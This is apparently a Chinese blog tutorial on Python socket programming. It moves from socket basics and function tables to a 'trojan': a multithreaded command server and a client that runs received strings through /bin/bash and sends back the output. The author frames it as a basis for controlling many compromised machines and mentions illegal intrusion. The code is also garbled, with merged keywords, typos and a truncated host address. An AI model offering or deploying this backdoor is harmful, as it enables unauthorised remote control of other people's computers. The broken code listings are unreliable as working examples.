Python网络编程
C/S架构:
C:client。S:server客户端和服务端结构。关键词:对点、响应。
C/S网络编程思路:Server端进行设置,首先创建一个通信节点,让Server端能够监听请求,之后就进入等待和处理Client请求的无限循环中。
Client相对简单,只需要创建一个通信结点,建立到服务器的连接,就可以提出请求了
套接字-通信端点
套接字是具有通信端点概念的计算机网络数据结构。网络化的应用程序在任何通讯之前都必须创建套接字。
在任何一门网络编程语言中,Socekt都是必学的一门语言,他十分底层,效率不高,开发环境中不建议使用,一般是使用shell。但是通过学习Socekt,我们可以制作一些木马,来实现非法入侵,也可以实现简单的聊天。
Socket的本意是插座,在这里指网络编程的接口,也是应用层和传输层之间的桥梁。
Python下的套接字家族:AF_UNIX,AF_INET,AF_NETLINK,其中AF_INET是基于网络的套接字
代码实操
socket模块的socket()函数用来创建套接字
使用socket.socket()函数来创建套接字,参考函数如下:
socket(socket family,socket_type,protocol=0)
#创建一个TCP/IP套接字:
tcpsock=socket(socket.AF_INET,socket,SOCK_STREAM)
服务器端套接字函数
函数作用
s.bind()
绑定地址(主机、端口)到套接字
s.listen()
开始TCP监听
s.accept()
被动接收TCP客户端连接,阻塞式等待连接的到来
客户端套接字函数
函数作用
s.connect()
主动初始化TCP服务器连接
s.connect_ex()
Connect函数的扩展版本,出错时返回错误代码,而不是抛出异常
公共用途的套接字函数
函数作用
s.recv()
接受TCP数据
s.send()
发送TCP数据
s.sendall()
完整发送TCP数据
s.recvfrom()
接受UDP数据
s.sendto()
发送UDP数据
s.getpeemame()
连接到当前套接字的远端地址
s.getsockname()
当前套接字的地址
s.getsockopt()
返回指定套接字的参数
s.setsockopt()
设置指定套接字的参数
s.close()
关闭套接字
以上是套接字的基本函数,通过函数,我们可以看到服务端和客户端的一些逻辑,而代码是通过逻辑来编写的:
根据以上的逻辑信息,我们可以编写出最简单的服务端函数,并可以在此基础上,演化为面向对象,以及改装成木马病毒。
#coding=utf-8import socket
server=socket.socket()
HOST='127.0.0.1'PORT= 4445ADDR=(HOST,PORT)
server.bind(ADDR)
server.listen()
client,raddr=server.accept()
server.close()
以上就是服务端socket通信的基本流程,有几个具体的细节需要解释下
①:一般来说我们在编写python代码中,第一行会添加编码格式,但是在socket里通过format的编码和解码,提前声明utf-8,会在程序运行中,发生不必要的错误
②:socket.bind()函数接收的是元组,所以我们也可以把绑定函数的那几行代码简化为
server.bind(('127.0.0.1',4445))
在不编写socket客户端的情况下,我们可以通过socket调试器,与服务器进行连接或者交互信息:以上最简单的服务端函数,其实是面向过程的思想,只能是一对一的。而实际环境中,无论是交流,还是进行远程程序操控,都是一对多的,所以换一种面向对象的思想,可能会更好,这个时候一方面我们需要使用多线程、也要使用类的方法,并且我希望把交流的信息即时返回到控制台上,所以还要引用一个logging库。
通过以上函数,我们可以简单的实现服务端一对多的信
息交互的socket程序,但是它仍然有很多缺陷,对于以上代码的优化在末尾进行更新和讲解,以上代码的亮点是使用面向对象,并且定义函数,避免了死循环以及多重循环。通过对服务端的理解,我们可以在此基础上常识编写基础的木马:
木马的基本理念是反弹shell,和sock,我们可以通过subprocess中的PIPE来执行
首先看服务端代码:
import socket
import timefromtime import ctime
import logging
import threading
fromsubprocess import Popen,PIPE
HOST='192.168.'PORT=4445BUFFSIZE=1024
classServer:
def __init__(self):
self.ADDR=(HOST,PORT)
self.server=socket.socket()
self.clients={}
def start(self):
self.server.bind(self.ADDR)
self.server.listen()
threading.Thread(target=self.accept,name='accept').start()
def accept(self):
whileTrue:
client,raddr=self.server.accept()
self.clients[raddr]=client
address='Accept from {}'.format(client.getpeername())
print(address)
threading.Thread(target=self.recv,name='recv',args=(client,raddr)).start()
def recv(self,sock,addr):whileTrue:try:
data=sock.recv(BUFFSIZE)
logging.info(BUFFSIZE)
except Exeptionase:
data=b'quit'
if data==b'quit':
self.clients.pop(sock.getpeername())
sock.close()
Time=ctime()
data=input("cmd")
msg="{}ack:{}".format(Time,data.decode()).encode()
sock.send(msg)
def stop(self):for i inself.clients.value():
i.close()
self.sock.close()
s=Server()
s.start()
其次看客户端代码:
import socketfromsubprocess import Popen,PIPE
HOST='127.0.0.1'PORT=4445BUFSIZE=1024ADDR=(HOST,PORT)
tcpClient=socket.socket()
tcpClient.connect(ADDR)
tip='connection successful'.encode()
tcpClient.send(tip)
data="Adderss: {} is connected".format(tcpClient.getsockname())whileTrue:if data=='quit':
exit()
tcpClient.send(data)
data=tcpClient.recv(BUFSIZE)ifnot data:breakcmd=Popen(['/bin/bash','-c',data],stdin=PIPE,stdout=PIPE)
fil=cmd.stdout.read()
tcpClient.send(fil)
重要的地方就是通过Popen,提供了shell交互,使得服务端可以远程控制多个客户端,本代码只是雏形,在此基础上,可以创建多线程socket肉鸡管理,但是实际环境里我们不怎么使用socket木马,但是通过socket学习网络编程,是我们理解计算机基础的重中之重.